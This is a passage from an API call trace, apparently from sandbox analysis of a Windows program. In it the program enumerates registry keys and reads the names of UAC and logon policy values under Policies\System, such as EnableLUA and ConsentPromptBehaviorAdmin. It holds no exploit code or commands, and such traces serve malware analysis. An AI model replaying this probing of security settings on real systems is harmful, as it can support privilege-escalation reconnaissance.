cchWideChar=3, lpMultiByteStr=0x9dc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ime", lpUsedDefaultChar=0x0) returned 3 [0206.091] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0x9db930, cchName=0x104 | out: lpName="Installer") returned 0x0 [0206.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0206.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x9dc0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="installer", lpUsedDefaultChar=0x0) returned 9 [0206.091] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0x9db930, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0206.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0206.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x9dc120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet settings", lpUsedDefaultChar=0x0) returned 17 [0206.091] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0x9db930, cchName=0x104 | out: lpName="MCT") returned 0x0 [0206.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0206.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x9dc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mct", lpUsedDefaultChar=0x0) returned 3 [0206.091] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0x9db930, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0206.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x9dc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="media center", lpUsedDefaultChar=0x0) returned 12 [0206.091] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0x9db930, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0206.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0206.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x9dc0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmdevices", lpUsedDefaultChar=0x0) returned 9 [0206.092] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0x9db930, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0206.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0206.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x9dc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssha", lpUsedDefaultChar=0x0) returned 5 [0206.092] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1f, lpName=0x9db930, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0206.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0206.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x9dc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netcache", lpUsedDefaultChar=0x0) returned 8 [0206.092] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0x9db930, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0206.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0206.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x9dc120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oeminformation", lpUsedDefaultChar=0x0) returned 14 [0206.092] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0x9db930, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0206.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0206.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x9dc0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oobe", lpUsedDefaultChar=0x0) returned 4 [0206.092] RegEnumKeyW (in: hKey=0x24, dwIndex=0x22, lpName=0x9db930, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0206.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0206.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x9dc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="optimallayout", lpUsedDefaultChar=0x0) returned 13 [0206.092] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0x9db930, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0206.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0206.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x9dc0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="parental controls", lpUsedDefaultChar=0x0) returned 17 [0206.093] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0x9db930, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0206.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0206.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x9dc120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="personalization", lpUsedDefaultChar=0x0) returned 15 [0206.093] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0x9db930, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0206.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0206.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x9dc0d8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photopropertyhandler", lpUsedDefaultChar=0x0) returned 20 [0206.093] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0x9db930, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0206.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x9dc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pnpsysprep", lpUsedDefaultChar=0x0) returned 10 [0206.093] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0x9db930, cchName=0x104 | out: lpName="Policies") returned 0x0 [0206.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0206.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x9dc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0206.093] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x3ef8f0 | out: phkResult=0x3ef8f0*=0xa0) returned 0x0 [0206.093] RegCloseKey (hKey=0x24) returned 0x0 [0206.093] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x9db930, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0206.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0206.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x9dc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activedesktop", lpUsedDefaultChar=0x0) returned 13 [0206.094] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0x9db930, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0206.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x9dc0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="attachments", lpUsedDefaultChar=0x0) returned 11 [0206.094] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0x9db930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0206.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0206.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x9dc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0206.094] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x3, lpName=0x9db930, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0206.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0206.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x9dc0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nonenum", lpUsedDefaultChar=0x0) returned 7 [0206.094] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0x9db930, cchName=0x104 | out: lpName="System") returned 0x0 [0206.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0206.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x9dc120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0206.094] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x3ef8f0 | out: phkResult=0x3ef8f0*=0x24) returned 0x0 [0206.094] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9db930) returned 1 [0206.094] RegCloseKey (hKey=0xa0) returned 0x0 [0206.094] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9db860) returned 1 [0206.095] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.095] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x10) returned 0x9db860 [0206.095] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9db878 [0206.095] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.095] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.095] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9db888 [0206.095] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.095] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.095] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9db898 [0206.095] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc168 [0206.095] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.095] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9db930 [0206.095] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc1b0 [0206.095] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.095] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x20) returned 0x9db940 [0206.095] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9db860) returned 1 [0206.095] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9db860 [0206.095] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc1f8 [0206.095] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.095] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9db968 [0206.096] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc240 [0206.096] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.096] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9db978 [0206.096] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.096] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.096] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9db988 [0206.096] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc2d0 [0206.096] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.096] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x30) returned 0x9db998 [0206.096] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9db940) returned 1 [0206.096] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9db940 [0206.096] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc318 [0206.096] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.096] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9db950 [0206.096] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc360 [0206.096] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.096] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9db9d0 [0206.096] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc3a8 [0206.096] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.096] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9db9e0 [0206.096] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc3f0 [0206.096] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.096] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc438 [0206.096] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9db998) returned 1 [0206.096] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9db998 [0206.096] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc480 [0206.096] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.096] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9db9a8 [0206.096] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc4c8 [0206.096] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.097] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9db9b8 [0206.097] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc510 [0206.097] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.097] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9db9f0 [0206.097] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc558 [0206.097] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0206.097] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc5a0 [0206.097] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc5a0) returned 1 [0206.097] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc5a0 [0206.097] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc5a0) returned 1 [0206.097] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc5a0 [0206.097] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc5a0) returned 1 [0206.097] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc5a0 [0206.097] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc5a0) returned 1 [0206.097] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc5a0 [0206.097] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.097] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9db878) returned 1 [0206.097] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.097] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9db888) returned 1 [0206.097] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc168) returned 1 [0206.097] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9db898) returned 1 [0206.097] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc1b0) returned 1 [0206.097] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9db930) returned 1 [0206.097] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc1f8) returned 1 [0206.097] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9db860) returned 1 [0206.097] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc240) returned 1 [0206.097] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9db968) returned 1 [0206.097] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.097] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9db978) returned 1 [0206.097] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc2d0) returned 1 [0206.097] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9db988) returned 1 [0206.097] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc318) returned 1 [0206.097] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9db940) returned 1 [0206.097] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc360) returned 1 [0206.097] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9db950) returned 1 [0206.097] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc3a8) returned 1 [0206.097] 